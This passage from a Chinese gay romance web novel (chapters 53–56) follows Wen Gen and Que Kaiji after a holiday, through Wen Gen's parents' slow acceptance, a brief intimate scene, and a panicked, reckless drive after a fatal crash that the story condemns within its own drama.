就一直没关注。 但是他又每天忍不住看Qamar的主页,搜索实在是很不方便。 索性还是放在黑名单里,反正他对接触拉黑这一步骤非常熟练。 总之就这么点开看。 阕开霁今天早上六点多才把昨日vlog发出去。 外卖早餐、对镜穿搭、白天看到的风景,还有……站在湖边举着手机拍照的人。 浅棕色毛衣开衫挂在肩膀上,带着鸭舌帽背着包,看上去干净清爽。 同样是实况,照片里人下一秒就要回头,但根本没拍到侧脸,就闪到下一张画面。但凡是认真把Qamar视频看完并对大小有概念的人,都会察觉的这个人不管从身高体型还是穿搭来看,都不是Qamar本人。 有人在评论区询问:“十三秒的那个小哥哥是谁啊?一起去玩的朋友吗?” Qamar难得的回复粉丝。 “男朋友。” 第53章 这是什么 说着七号回去, 但小长假最后一天返程的人太多了,俩人被堵在去机场的路上,水灵灵错过飞机。 而其他交通工具,也已经没票了。 只能又在这里住了一天, 决定明天早上坐高铁回去。 闻根拿着手机刷高铁票。哪怕已经确定最早的一班也要十一点半才能到, 也还是一直刷, 仿佛只要一直刷, 就能刷出一班八点到达, 能让他九点准时出现在单位的高铁。 阕开霁工作室没什么事, 不急着明天早上一定回去,但什么都没干, 就这么托着下巴看闻根刷新。 于是他又发现闻根身上很有趣的一点。倒也不是什么努力工作有时间观念什么的, 就是面对这种不愿意接受的事实时, 有种很可爱的执拗。平时总爱装死, 但在这种时候, 就非常有生机,看上去像条不停蹦跶着咬钩的活力满满的小鱼。 最后还是阕开霁欣赏够了, 主动叫停闻根的刷新:“别刷了, 给领导打电话请早上的假。现在早点睡吧,明天早点起床去高铁站,免得又赶不上。” 闻根闻言马上叉掉购票软件, 给领导发信息说明情况请假,然后放下手机, 去浴室洗漱。 酒店里提供了洗漱用品,但阕开霁也带了常用的洗护套装,就放在浴室。闻根这几天洗澡用的阕开霁的肥皂,洗头用的阕开霁的洗发水, 甚至主动用了阕开霁的护发素和身体乳。今天也是一样,洗完澡,浑身阕开霁的味道,就这么钻到被窝里,把眼镜摘下来放到一边,看了阕开霁一眼。 身上带着自己的味道,头发和眼睛好像还残留着水汽,从水里新鲜捞出来的小鱼,扒干净鳞片毫无抵抗力的,躺在自己身边,还看自己。 阕开霁心里来回想了点一定会让闻根第二天起不来错过高铁的事情。但想到闻根刚刚不可置信刷新车次时的样子,忍下了。 他说:“睡觉吧。” 闻根就闭上眼了。 阕开霁觉得他跟个被下达指令后一板一眼执行的机器小人一样。 毫无灵魂,但非常可爱。 于是被忍下的那点东西又热闹起来。 他再次下达指令:“还没亲一下。” 机器小人又微微直起身子凑过来亲了他一下。 阕开霁:“玩玩钉子。” 机器小人产生许多冗余,但最后还是一板一眼执行指令,挺起胸脯凑到阕开霁手里。 怕闻根会疼,之前阕开霁一直玩得很克制。但现在看闻根这么配合,他有点控制不住,果然把闻根弄得有点疼。看闻根有点不舒服的皱眉,他又低下头,用唇舌仔细抚慰。 机器小人被玩得浑身发热,都要烧坏了,才勉强想到明天的高铁,拒绝完成阕开霁更过分的指令。 第二天下了高铁,在外面吃了饭已经快一点了,闻根需要提前去单位把早上落下的工作处理一下,只好把行李托付给阕开霁,让他帮自己先把行李带回家。 明明和阕开霁在一起时还好好的,还满心都是落下的工作。但离开阕开霁去单位的路上,闻根头一次有这么清晰的意识到假期结束了,自己需要去上班。他突然有了很明显的戒断反应,对上班充满厌烦。到了单位也没开始马上工作,自己也不知道在拖延什么,总之就是磨磨唧唧,打开电脑后先给阕开霁发了信息。 阕开霁:“我到家了。” 闻根等阕开霁下一条信息,但阕开霁好久没主动发信息过来。 他只好说:“那我工作了。” 阕开霁还是没回。 等到闻根开始上手处理假期这段时间收到的投诉建议时,阕开霁发了信息给他。 是一张照片。 照片里,那束捧花躺在装满白色颗粒的箱子里。 阕开霁告诉他:“做成干花,到时候就能永久保存了。” 闻根心里一动,刚刚找到的状态再次消失不见,他又开始抗拒工作,只想回家和阕开霁一起看他怎么做干花了。 而家里,阕开霁用干花剂把花束埋起来,找阴凉地方放下,随后找出闻根家里的钥匙,拎着闻根的行李箱走进去。 脏衣服丢到洗衣机里洗干净,打开窗户通风透气,再把家里打扫一下…… 阕开霁把床上被套拆下来要换套新的,拿起枕头要拆枕套时注意到什么,没忍住笑了。 = 闻根上班时频频走神,一会儿想假期时的快乐,一会儿想阕开霁现在在做什么,工作效率极低。好在同事基本也都和他差不多的精神状态,萎靡不振对工作充满排斥。闻根才有了点心理安慰。 把工作大致处理得差不多了,同事开始聊天,说起国庆假期去哪儿玩了,闻根没跟着聊,但忍不住打开手机翻看国庆假期间自己拍的那些照片。 想到今天妈妈发消息问他国庆都去玩了什么,他思考着想把照片发给妈妈,但都点击分享了,又叉掉相册,点去小红书,从黑名单里找到阕开霁的账号,解除拉黑并把主页内容转发给妈妈。 “随便玩了玩,但很有趣。” 闻妈妈点开他分享过来的主页,一眼看过去先愣了一下,想问自己儿子什么时候变成了有二十多万粉丝的网红。但划拉着往下一看,明白了。 闻根此举简直就是明晃晃告诉妈妈,自己这一整个国庆假期,都和阕开霁在一起,而且还住在一个酒店房间。 闻妈妈又像一开始的闻根那样,采取漠然无视的态度,只当没听见、不知道。 不知道阕开霁面对自己装死时是什么心态,闻根现在只觉得还好。爸妈不接受是正常的,自己一开始都得没办法轻易接受自己是男同性恋的事实 ,更何况爸妈了。不过没关系,爸妈都接受自己是同性恋的事情了,不过就是觉得自己和阕开霁之前有太多不同,担心自己的安全,自己还有那么长的时间可以慢慢耗,可以用事实告诉他们,阕开霁不是他们想的样子。 闻根:“他很会拍照。” 闻妈妈果然和闻根一样,虽然装死,但还是看了。 她问:“这天怎么这么晚还在外面?” “在逛夜市,还吃到了很好吃的茶糕。” 闻根给妈妈发了张茶糕的照片。 是抹茶味道的糕点,不怎么甜反而带着茶的清苦,阕开霁不怎么喜欢,就没放到vlog里,但闻根觉得还不错,把阕开霁没吃完的那块也吃了,还买了一点打算送给爸妈,不过就是昨天没赶回来今天又忙着上班没来得及。 他告诉妈妈:“我给你们也买了点特产,下班了给你们送过去。” 闻妈妈:“行,你想吃什么给你爸发消息,他今天下班早,给你做。” 闻根本来的计划就是下班和阕开霁吃饭,吃完饭回去坐坐,把特产给爸妈。现在听妈妈说要他回家吃饭,顿了顿。在满足自己和当个孝顺儿子之前犹豫片刻,他妥协:“好的。” 下班回家拿给爸妈的特产,发现自己家里被打扫得非常干净,窗户开着,阳台上挂着洗干净的衣服。要送给爸妈的特产都是一点点淘来的,没有什么华丽包装,但现在被分门别类装在礼盒里,甚至用红色纸袋装着,就放在客厅桌子上。闻根的喜欢简直要漾出来,更不舍得走了。拿出手机给阕开霁发信息,但一时半会儿也不知道说什么,只发了个捂脸的表情包。 阕开霁好像知道他要说什么,回复了个摸头的表情包。 闻根就被这个表情包安慰到,拿着东西回去了。 闻爸爸买了大闸蟹给他做蟹黄面,随便聊了国庆假期发生的事,可能是不想听他讲阕开霁,一直在问室友婚礼上发生的事。 闻根把自己记着的说了一点。是很幸福的婚礼,他作为伴郎见证着,也感到幸福和美满。但记忆最深的根本不是婚礼,而是阕开霁抢到捧花后给他,告诉他“你的答案就是我的答案”。不过爸妈大概不想听这种细节,他也没有主动开口说。 但等到吃完饭爸妈拆开他送来的特产,看着红色纸袋和用绸带扎着的礼盒,说包装还挺精致的时候。他忍不住说:“这是他弄的包装。” 闻爸爸拿着包装的手就停下半空中,他看了眼闻根。 闻根坦坦荡荡和他对视,说:“买的时候没包装,他找包装和礼盒装起来的。” 又看闻妈妈手里的香膏,说,“这是他挑的,他结的账。” 闻妈妈没好气的瞪他一眼:“那你替我谢谢他啊。” 闻根先顿了顿,但到底是听出妈妈语气里的退让,笑着连连点头。 又问:“好闻吗?” 闻妈妈仔细嗅了嗅,脸色不算很好,但点点头。看到闻根因为她的点头心满意足的样子,实在没忍住拍了下他的头:“赶紧走,别在这边碍眼了。” 闻根向来不会得了便宜还卖乖,听到这句话就乖乖没再提阕开霁,又陪着坐了一会儿,带着爸妈给的东西,大包小包离开了。 本来想着把东西放到家里就去敲阕开霁的房门,询问他今天吃了什么。 结果推开家门才发现阕开霁在自己家里,就坐在客厅沙发上,电视上播着电影,他边看边吃东西。 闻根的心又像是被蝴蝶撩拨过的水面,掀起圈圈涟漪。 他把东西放下,慢慢走过去,问:“吃的什么?” 没等阕开霁回答,他自己先看到了。 很敷衍的一碟蔬菜沙拉。 水煮菜和水煮虾,加了一点油醋汁,看上去清淡至极。 闻根皱着鼻子,问:“要不我给你做点热的东西吃?” “不用了,前几天吃了太多高油盐的东西,吃点健身餐刷刷体脂。” 闻根的目光就开始往阕开霁身上飘。他今天运动过了,现在洗了澡换了衣服,胸口露出来的肌肉线条紧实。 阕开霁注意到他的视线,拍了拍自己身边的沙发。闻根坐过去,阕开霁就把电影进度拉到最前面,从头开始看。但闻根很不争气,目光根本没办法停在电视上超过五分钟,总忍不住要看阕开霁。 阕开霁把那一点东西吃光,去厨房把盘子洗干净,重新坐回来看电影。 闻根看他,发现他确实在看电影,不过不完全投入的样子,嘴角挂着浅淡笑意,让人琢磨不透。 闻根就跟着心不在焉,想阕开霁在笑什么…… 一场电影看完,两个人没一个能完整说出故事梗概的。阕开霁看了眼时间,拍了下闻根后腰:“洗洗睡吧。” 闻根起身,往房间走了两步,又后知后觉回头看阕开霁。 留宿在对方家里也不是一两次了,闻根还是有点不好意思,问:“你……还回去吗?” 阕开霁笑意更深,摇头。 闻根恍惚点头,往房间走:“那我换一下四件套。” 他之前的四件套都是纯棉的,虽然比不上阕开霁真丝面料的轻薄透气,但也柔软舒适,他用习惯了也没想着换。直到前些天阕开霁在他家里留宿,第二天醒来他总会在床上捡到几根阕开霁的头发,但他在阕开霁家里睡醒后就不会看到。 绞尽脑汁想了很久甚至询问了同事,才得知真丝面料的枕套更不容易掉头发,马上买了真丝四件套。 刚洗净还没来得及换上,就撞上国庆假期出去玩了。现在听阕开霁说要在家里留宿,他马上想把四件套换上,保护阕开霁的头发。 阕开霁跟着他往房间走,一本正经:“你去洗澡吧,我换。” 闻根从衣柜里拿出洗净的真丝四件套给阕开霁,又拿出自己洗澡要换的睡衣。 拿着睡衣要去浴室,都走到门口了想到什么,连忙回头:“那个……” 但阕开霁已经把他的枕头拿起来了,此刻再也忍不住笑意,问:“这是什么?” ——枕头底下,一个个棕色长发搓成的小圆球滚在一起,好像一堆苍耳,勾在床单上。 闻根的脸一下涨红起来。 第54章 他们能接受吗…… 是每次阕开霁留宿第二天, 闻根在床上找到的头发。 闻根自己也会掉头发,但他的头发本来就是细软塌,又剪得短短的,掉下来的头发也很没有存在感。阕开霁头发就不一样了, 落在枕头上那么长一根, 非常有存在感。有的在被窝里, 不知道什么时候缠到闻根指缝, 跟坠着钩子的鱼线一样, 勾得闻根魂不守舍。 他看到了就会攒在一起, 在手里绕几圈,情不自禁的玩, 玩一会儿就会变成一个小小的头发团。 闻根也舍不得扔, 要起床不能再揉的时候就会把头发团放到枕头底下。 不知不觉间就攒了这么一小堆。 一眼看过去棕色的一滩, 蔚为壮观。 没想到会被阕开霁发现, 闻根表情有点僵硬, 先看枕头底下那一小堆头发,再去看阕开霁。 阕开霁拿起枕头发现这么一小堆头发后, 自己乐了一下午, 现在掀开枕头追问,也早就失去了震惊和一定要问出个答案的坚决,更像是调笑。 但闻根实在太害羞了, 也没看出来阕开霁的真实情绪,只是结结巴巴, 分外真诚回答阕开霁:“你,你的头发啊。” 阕开霁:“哦,我知道。” 他还是看闻根,虽然没直接问, 但表情已经足够说明他现在想问什么。 ——干嘛不丢掉,而是放在枕头底下,攒了这么一小堆。 闻根三两步走过去,不知道要看阕开霁还是看自己攒下来的一小堆头发,最后也只是接过阕开霁手里的枕头,小声嘟囔:“我自己换。” 他飞快换好枕套,把床单上躺着的那一小堆头发团搓起来放到床头柜的抽屉里,然后把床单也换好。 要换被罩时,阕开霁拉着他的手:“洗澡去吧,这个我换。” 闻根松了手,拿着睡衣去浴室时又看了眼阕开霁。 阕开霁笑得更厉害了。 = 和阕开霁在一起的日子其实并没有闻根想象中那么跌宕起伏。 在酒吧喝到凌晨,被拉到台上接吻跳舞,没有闻根想象中那么浪漫,他只会在意台下众人的目光,感到恨不得找酒池钻进去的羞耻。 玩跳楼机也没有闻根想象中的刺激,玩的时候他抓着安全带尖叫,还要害怕设备幅度太大把他的眼镜甩飞出去。在他不知道第几次试图腾出手来扶眼镜,但还没抬到胸口又因为害怕紧紧抓住安全带时,阕开霁忍无可忍摘了他的眼镜。闻根看不清楚,更害怕了。等下来后腿一软差点跪在阕开霁面前,阕开霁笑了好一会儿才把他拉到一边的椅子上坐好休息。 也尝试过露营,阕开霁的视频里冲锋衣越野车帐篷,那么帅。实际上闻根被野外的虫子吓得不敢睡,还暗自懊悔没带樟脑丸来,被阕开霁知道后嘲笑了好一阵。 阕开霁自己的生活凌乱悬浮,但却把他照顾得很好。 自己穿衣服只顾着好看,但给闻根准备的衣服鞋子都是根据当天气温搭配的。 自己健身餐寡淡无味,但给闻根一起吃饭时都是自己下厨三菜一汤色香味俱全。 自己灵感来了整宿不睡加班,但领导临时让闻根值班晚回家两小时,他能在单位等两小时,把闻根领导形容得像什么大反派。 总之,尝试很多次后,闻根确定,说到底大家的生活其实都差不多,肉体凡胎需要吃饭睡觉,需要好心情。自己和阕开霁也根本没那么大的差距,只是在一些事情的选择上稍稍有些不同。 这件事情他知道,就想让那些——主要是以自己父母为代表的亲朋好友也知道。 不过一直没找到契机说,毕竟他父母现在的态度就是眼不见为净,只当不知道,偶尔似乎也想找个契机好好聊聊告诉闻根他和阕开霁确实不合适,但一看闻根也一副要找到契机长篇大论的样子,就知道谁也说服不了谁,也就不说了。 闻根也就不说了,怕自己一开口父母也就找到契机劝说自己。 日子就这么一天天过着。 倒是十一月末,闻妈妈生日。 阕开霁陪闻根挑了生日礼物,自己也备了一份。 ——他备这一份礼物完全就是这么多年社会生活学到的人情世故使然,是准备完礼物,回家路上才想起来,闻根和自己不一样,自己父母双亡,但闻根不是。闻根家里还有妈妈做的辣椒油,爸爸朋友送的大闸蟹,闻根出门会给爸妈买特产,种种迹象都表明,闻根父母健在而且亲子关系不错。 于是他才想起来这件对正常人来说非常重要的事情:“你爸妈知道我们恋爱的事情吗?” 闻根没想到阕开霁会突然问这个问题,但又有种这个时刻果然到来了的镇定。 他告诉阕开霁:“知道。” 知道…… 阕开霁没有和父母相处的经验,更没有和男人恋爱被对方父母知道的经验,闻言有点不知道怎么办。 他甚至没察觉到这点“不知道怎么办”,甚至没觉得自己紧张,只觉得车里的空气好像有点闷,让他喘不过来气。他深吸一口气,用自己人情世故的经验想了想,问:“他们能接受?” 应该不能吧。 闻根刚知道自己喜欢男人时都不能接受,要去网上询问自己喜欢男人要怎么办。哪怕后来喜欢上自己,知道自己时男人后第一反应也还是自己是个普通人,普通人不能做同性恋。在这个时代还养出这么崆峒的儿子,阕开霁不认为闻根父母能轻易接受儿子是同性恋,他甚至觉得对方知道自己存在这件事就足够不可置信。 但意料之外的,闻根异常镇定:“快能了。” 快能了? 也就是说一开始不能,经过了一些或说服或保证或证明,虽然还是不能,但态度好一点了。 不过这点快能了是不是闻根的错觉?在自己不知道的时候闻根都做了什么?对方父母到底是怎么知道自己又对自己有什么印象…… 阕开霁越想问题就越多,终于忍不住,把车停到路边,偏头看闻根。 闻根的镇定有些破功,但这时候第一反应居然也不是和阕开霁解释,而是拍他的手:“别停,这边不让停车,等会儿交警就来了。” 阕开霁:“……” 他一踩油门,飞快到了家里。 路上越想越紧张,甚至心跳也跟着加快了,忍不住想闻根父母是什么样的人,他们怎么想自己,到底能不能接受,闻根在其中又都做了什么…… 打道回府到家里坐下,就彻底失去了转移话题的机会,阕开霁说:“说说吧。” 一开始告诉妈妈自己喜欢男人时,还因为自己也并没有完全接受自己变成男同性恋这件事、还处于迷茫阶段,甚至有些想要听取父母意见的求助心理,坦白时勇气盖过紧张,孤注一掷。 反而是现在和阕开霁坦白时,多了几分紧张。 闻根只好一五一十从头说起。 自己刚开始还以为他是女生时,就告诉父母自己有喜欢的人了。那次他给自己送补肾的中药,妈妈误会自己是不是有难言之隐,自己就告诉对方自己喜欢的人是男人。正好那次妈妈在车库见到他,就知道自己喜欢的人是他了。 阕开霁更惊讶了:“车库?” 闻根比划着解释:“她在后备箱拿东西不小心卡到了,你帮了忙。” 阕开霁没什么印象,他想到那天,就只记得闻根出差在外的那一周,还有回来当天,自己在车库见到闻根,骑着摩托车带他出去玩,回来得晚了,他还有问自己这么晚了会不会扰民…… 但现在得知那天自己还在车库见到闻根妈妈,只好又想了想,从记忆深处挖出这么一件事来。 依稀记得是个很有气质的女人…… 自己帮助对方拿出东西后,根本没有寒暄,骑上摩托车就走了。 当时只以为是陌生人。 没想到,是闻根妈妈。 第一次见面好像有点没礼貌。所以对方不能接受吗? 阕开霁的表情僵硬下来。 闻根:“因为我堂哥的事情吧,他们对同性恋有点恐惧。不过没关系,我已经和他们说很久了,他们马上就能接受了。” 看阕开霁垂眸似乎在想什么,他再次强调:“真的,很快,我再说一说,说不定过年他们就同意我把你带回家了。” 阕开霁眼里闪过怀疑、期待,还有隐隐紧张。 他询问闻根:“需要我做什么吗?” 虽然他很早就失去父母,但在他很小很小,还和父亲在俄罗斯的时候,就已经知道,因为种种原因不被支持认可的爱情,更需要两个人共同的努力。 但他一个人太久了,居然忘了这么重要的事情,让闻根在自己不知道的时候独自支撑了这么久。 闻根摇头。 “你不需要做什么。” 他的父母对阕开霁本人并没有什么意见,甚至因为帮助妈妈拿东西这件善意之举,被认定为是个善良的好孩子。 如果阕开霁不是闻根男朋友的话,爸爸妈妈不会对他有任何意见,那这件事归根结底其实是自己的事情。 闻根想阕开霁永远理直气壮,不用因为自己的普通而做出改变。 他想要让父母接受自己的爱人,然后,如果阕开霁愿意的话,给他一个非常普通但非常安稳的家。 第55章 那自己喜欢阕…… 闻母生日这天正巧是周末。 闻根一大早就带着阕开霁和自己的礼物, 回家了。 毕竟妈妈还没彻底松口接受阕开霁,他没敢在这时候带阕开霁回家。 好在阕开霁不像他生活无趣,一直有事情做。他回家陪妈妈过生日,阕开霁去参加朋友脱单派对。 离开前, 闻根絮絮叨叨叮嘱阕开霁喝酒前要吃点东西垫肚子。 阕开霁保证自己今天不喝酒, 说自己的摩托车前段时间借给朋友开了, 自己不喝酒, 晚上正好把摩托车开回来。 闻根还是说:“那也要好好吃饭。” ——可能有健身的缘故, 阕开霁吃饭一直很敷衍。和闻根一起吃饭时还好一点, 一旦自己吃饭,就跟丧失味觉一样, 蛋白质过水煮熟就入口, 蔬菜更是直接生吃, 碳水吃得尤其少, 一包吐司片放冰箱里能一个月还吃不完。闻根有时候都会怀疑阕开霁掉头发是因为碳水吃太少。 阕开霁没办法:“吃, 我先吃完饭再去。” 闻根:“吃点热的。” 阕开霁:“好。” 闻根这才放心离开,在路上取了提前订好的生日蛋糕, 又买了点东西, 回到家里后和爸爸一起张罗着做了饭,再把生日蛋糕放到桌子最中间,看上去非常丰盛的一餐。 一切准备就绪, 爸爸开始送礼物。 闻根就也把自己和阕开霁挑的礼物送过去。 他的礼物是一条钻石项链,阕开霁帮忙挑的, 钻石不是很大,但亮闪闪的,项链设计也很好看。 闻妈妈果然非常喜欢,当即就让闻根给自己带上。 闻根之前对首饰并不了解, 但和阕开霁在一起后,熟能生巧。现在给妈妈戴项链,手指一掰就扣上,还知道把压在项链底下的头发轻轻捞起来。 闻妈妈一开始有点诧异他过于熟练的动作,想要打趣一下,转念想到闻根喜欢的那个混血男孩长长的头发,飞快明白闻根为什么这么熟练了。 闻妈妈哽了下,也没有问,只是说:“谢谢儿子。” 又看闻根转身拿过另一个礼盒:“这是他送你的。” 闻妈妈:“……” 阕开霁送的是一盒燕窝。 闻妈妈看着这盒肉眼可见成色绝佳的燕窝,表情再次哽住。 但闻根只是打开给她看看,并没有询问她要不要喜不喜欢的意思,马上就合上,然后默默收到柜子里了。 ——这也是和阕开霁学的,不管妈妈怎么说,自顾自理直气壮做自己想做的。 他把东西收好的功夫,闻爸闻妈整理好情绪,招呼他开始吃饭了。 闻根也就没再说什么,安安静静吃饭,偶尔和父母聊一下工作上的事情。 吃完饭去厨房刷碗时发现阕开霁给他发了张照片,告诉他自己吃了饭要去玩了。照片里是一锅热乎乎的疙瘩汤,面粉格外少,加了很多菜叶和肉粒的改良版本。但总归是热的,而且还有碳水。闻根放心了点,再次叮嘱阕开霁要注意安全。随后爸爸也来厨房,他就收起手机,没再看了。 在家多待了一会儿,一直到五点外面天色都蒙蒙黑了,这才驱车离开。 走到一半,导航提醒这条走习惯了的路前方出现事故,道路拥堵,要给他重新规划路线。 闻根跟着导航拐了弯,伸手拨了下车载广播想看看前面到底出现了什么事故。 等了一会儿,都要到家了才听到电台讲解那条路上的车祸事故。 摩托车在绿灯已经变为橙色时仍没有停下,在交叉路口与一辆重型卡车发生碰撞。导致摩托车主当场去世,据警方调查,车主属违规酒驾。 摩托车…… 酒驾…… 闻根把车停到一边,给阕开霁打电话。 没人接。 他抿了抿嘴,接着往前走。 但不知道为什么心脏开始跳得很快,他控制不住内心的担忧,把早上离开前阕开霁和自己说的话想了一遍又一遍。 不会是阕开霁。 他说了自己今天不喝酒。 不会。 他参加朋友派对,怎么会跑到那条路上呢。 闻根又把车停在路边,打开阕开霁早上发给自己的派对地址。 …… 从家里到这个地方,确实要经过那条路。 闻根只听得耳边嗡了一声,血一下就凉了。 他又给阕开霁打了个电话。 这次倒是接了,对面却不是阕开霁的声音。男人问:“喂?找谁啊?” “你好,我找阕开霁,他的手机……” 男人似乎寻找了一番,甚至还找人询问:“阕开霁呢?” 闻根听到电话那边有人回答:“刚刚喝了点酒,说还有事提前回去了。咋啦。” “手机怎么落在这儿了。” 对方嘟囔了一句,看了眼手机备注,没从小鱼和眼镜图案里看出什么,问,“你找他……” 没说完,通话中断。 闻根根本没再听他说什么,听到那句“喝了点酒”后,脑子就完全不听使唤,手上一打反向盘,就折返回去了。 心脏跳得很快,身体每一个感官都异常敏锐,眼睛死死盯着前方的道路,耳朵却捕捉广播里每一个字。 可广播又另外播报了其他几条事故,都不再是刚刚那件。 闻根的速度越来越快,超过一辆又一辆的车。身后有车一直在按喇叭,他却充耳不闻,只竖着耳朵听广播。 电台主持人已经说起骑摩托车或电瓶车一定要带安全帽的事,随口说起现在很多人留了长发带安全帽不方便就不带,这是非常错误的行为,如果不带安全帽没有一点防护措施,一旦遇到意外…… 主持人的声音渐渐远去,眼前的一切也都像隔了一层雾,闻根抓紧方向盘,脑子乱七八糟想着些不知道是真实还是虚构出来的场景,完全依靠本能继续往前。 前面就是路口,绿灯倒计时最后三秒,前面那辆车加速前进,闻根油门一踩跟上去。绿灯变成橙色,他压线过了路口,余光里好像看到身后路口有交警在指挥交通,但他刚刚完全没看到,甚至忘了到底还是不是绿灯,只迅速超过前面这辆车,接着往前。 身后又开始传来喇叭声,闻根依旧没停。 但被丢到一边的手机突然响起来了。 声音也像是隔了一层才传到耳朵里,压下广播声,电台主持人的声音被压下,闻根好像骤然被拉出水面的鱼,因为突然清晰起来而短暂恍然。 他分出一丝眼神去看手机屏幕。 阕开霁的电话。 阕开霁…… 他接起来。 电话那边还是刚刚接电话的男人,对方招呼:“那个,闻根吗?阕开霁让你停车!” 刹车被突然踩下,轮胎发出尖锐摩擦声。 电话那头的人似乎也被这个声音吓到,问:“什么声音啊?” 闻根这时候才觉得自己手心满是冷汗,他干咽了口,把手心来回抓握几遍,才像是找回对肢体的控制,缓缓把车开到路边,停下,这才问:“他现在在哪儿?” 没等电话那头的人回复,车窗被大力敲了几下。 闻根看过去。 阕开霁的脸色差到极致,冷冷的盯着他。 = 闻根很少见阕开霁生气的样子。 和闻根脾气好容易揉捏不同,阕开霁生气了会找法子折腾回来。比如一开始发现自己被闻根拉黑时生气,就切号开玩笑整蛊闻根。比如发现闻根把自己当女生,虽然因为现实生活中不应该知道这件事而不能当面纠正闻根,但也不忍气吞声,当即包了明目的中药寄过去。比如睡了一宿后闻根发现他是男人改口就说不是同性恋不要在一起了,他依旧生气,变着法的引诱闻根看闻根左右为难进退维谷。 当场就报复回来,他很少摆脸色给闻根看。偶尔阴阳怪气,闻根大部分时候也都看不出来。 但这次不同。 阕开霁的脸色差得像凝结着黑气,一眼看过去就知道这个人出于暴怒中。他个子又高体型又壮,这么暴怒凶悍的敲车窗,把载他过来的司机吓一跳,连忙下车想来劝架。 却看被敲的那辆车主人推开车门,人还没下来,先伸出胳膊,深深抱住外面敲窗的人,姿势看上去眷恋而喜悦。 …… 这是怎么回事啊。 司机有点不知道怎么回事,又默默绕回车边。 他是刚从市中心送乘客回家,在小区门口刷软件接单时,车门被拉开,对方就坐过来,身上带着酒气,指着前面那辆车说:“追上那辆车。” 司机当时脑子里闪过无数电影里的刺激剧情,油门一踩就开始追。没想到那辆车越开越快,真有了点拍电影的意思。而坐在自己车上的人脸色也越来越不好,再三要求他按喇叭叫停前面的车。但他按得越多,对方就开得越快,对方开的越快,自己车上这人脸色就越不好。司机最后甚至怀疑他想把自己推到一边自己上手开车,还想着自己就算死也绝不会让自己带着酒气、一看就是喝了酒的人开自己的车。但对方倒没有做这种事,只是借他的手机拨了个号,说了自己手机密码,让对方找到通讯录里一个备注是小鱼和眼镜的人停下来。 ——然后前面那辆车就停了。 就到了现在。 司机还没咂摸出现在是什么场面,就看自己那个人高马大的混血乘客大手一挥,把抱住自己的人推开,随后一揪一扯,就把人从车里拽出来了。 不会还是要打架吧? 司机在一边暗戳戳观望着,随时打算冲过去。 阕开霁动作太粗暴,闻根的眼镜滑下来,挂在鼻梁尖上,摇摇欲坠好像随时会掉下来。 但两个人都没心思管眼镜了。 阕开霁满脑子都是刚刚闻根那不要命的开法,他单手拎着闻根,重重把他按在车上,声音恐怖:“你想死啊?” 而闻根也压根感觉不到疼和不适,甚至忘了没有眼镜看不清楚,只是深深的看着阕开霁,用另一手去摸阕开霁的手,声音不可置信:“你在这儿啊?” 可暴怒的阕开霁根本听不清他在说什么,反手把他的手也抓住:“开这么快干什么?找死吗?” 满是冷汗的手被阕开霁握住,抓得很紧,闻根感觉到阕开霁手心的茧子和有点黏腻的触感,随后才感觉到手骨要被捏碎的疼。 他没挣扎,就看着阕开霁,喃喃:“你没事……真好。” 阕开霁不知道他为什么这么说,也不想知道他为什么这么说,随便把他的眼镜摘下来丢到车里,随后把闻根也一同按进去。 在一边围观的司机又心惊胆战走过来试图劝架。 刚走过来,就看到自己乘客跟着钻到车里,把人压在驾驶座亲。他的动作依旧粗暴,与其说亲不如说是在撕咬猎物宣泄恐惧和担忧,但被压着的人没一点挣扎的意思,甚至把手环到他肩膀上,用力往下压。 司机:“……” 他又默默退回去了。 = 大概十分钟后,还是闻根先反应过来,顶着被咬出血的嘴唇,给司机付了车费。 司机忙不迭离开了。 闻根回头。 阕开霁已经从还在播着的车载广播、闻根手机导航页面推送的事故通知和闻根刚刚的反应中意识到什么,但脸色反而更差劲了。甚至在闻根目送司机离开,心有余悸回头看他,伸手要抱抱的时候,躲开闻根。 大起大落的情绪起伏后,没得到恋人的安稳,反而被躲开了。 于是刚刚被肾上激素压下去的后怕后知后觉涌上来,闻根控制不住开始颤抖,委屈又惊讶的看阕开霁。 阕开霁灰蓝色眼睛冷得要结冰,像是第一次认识闻根那样,打量着他,问:“我现在还在这儿,没有任何事。” “那如果今天出意外的真的是我,你想干什么?” 闻根被阕开霁的眼神冻得发寒,颤抖幅度更大了。 阕开霁还在问:“你想怎么样?” ——闻根莫名就想到很早之前。 阕开霁刚和自己说他父母的事情,说父母异国多年,父亲带他来中国找母亲,却在发现母亲去世后殉情。阕开霁问他,如果有一天自己不在了,他会怎么做。 闻根当时说不知道。 他确实不知道。 他觉得自己就是个普通人,身边除了不那么普通的堂哥早早去世后,其他人都平安健康活到很久。死亡对他来说是起码五十年后的事情,而阕开霁的死亡对他来说,更应该是厮守多年后相偕白头后的事情。他不知道怎么提前预设这一天,当然想不到这一天到来后自己会怎么选择。 但当这个可能被摊开送到他面前,他…… 睫毛上下快速扫着,昭示着主人剧烈波动的内心。 甚至没有任何证据能提示那个人是阕开霁,但不过就是这些含糊的可能,被担忧和在意的火苗一烧,生出燎原大火。 他当时在想什么呢? 面对他不知道的答案,阕开霁说这样很好,亲吻他并告诉他正确答案——活下去。 可他当时根本想不到这个答案,内心翻涌着的唯一念头就是,想和阕开霁在一起,不要分开了。 可能自己和阕开霁就是不一样的,在自己不知道的时候,阕开霁会发生很多或有趣或刺激或让人担忧的事,自己不喜欢这种提心吊胆的感觉。阕开霁教自己要选择喜欢的,那自己喜欢阕开霁,以后就不要和阕开霁分开了。也不要再让任何东西分开自己和阕开霁,譬如死亡。 闻根好像也第一次认识自己,如冰雕般站在原地。 阕开霁被怒火烧得失去理智,从牙缝里一字一句挤出字来。 “从小区开始,你超了十六辆车,差点剐到其中三辆。刚刚那个路口绿灯结束交警示意停下来,你还是开过来了。你想干什么?” 第56章 就是他了 自己想干什么呢? 闻根也在心里这么问自己。 刚刚就想到的答案, 现在在想也是一样的答案。 他就是想和阕开霁在一起,不让任何东西分开自己和阕开霁,生死也不能。 这一点都不像他。 但刚刚的情绪波动太大,现在知道这种事情, 甚至都分不出什么心思惊讶或震撼, 好像刚刚丢失的理智现在全然找回, 闻根居然有种诡异的平静, 他迅速接受这件事, 脑子出奇活络, 还用自己平时写公文的严谨逻辑分析了导火索和根本原因。 ——如果自己没遇到阕开霁,如果阕开霁没告诉自己挑喜欢的, 如果阕开霁没带自己做过那么多事, 可能自己也真的就依照习惯活下去了。 但自己已经遇到阕开霁了, 自己已经在喜欢阕开霁了, 当然就选择了和之前截然不同的答案。 阕开霁当然可以因为父母的原因, 抗拒成为被殉情者。但…… 闻根看阕开霁:“如果我真出了意外,你会怎么样呢?” 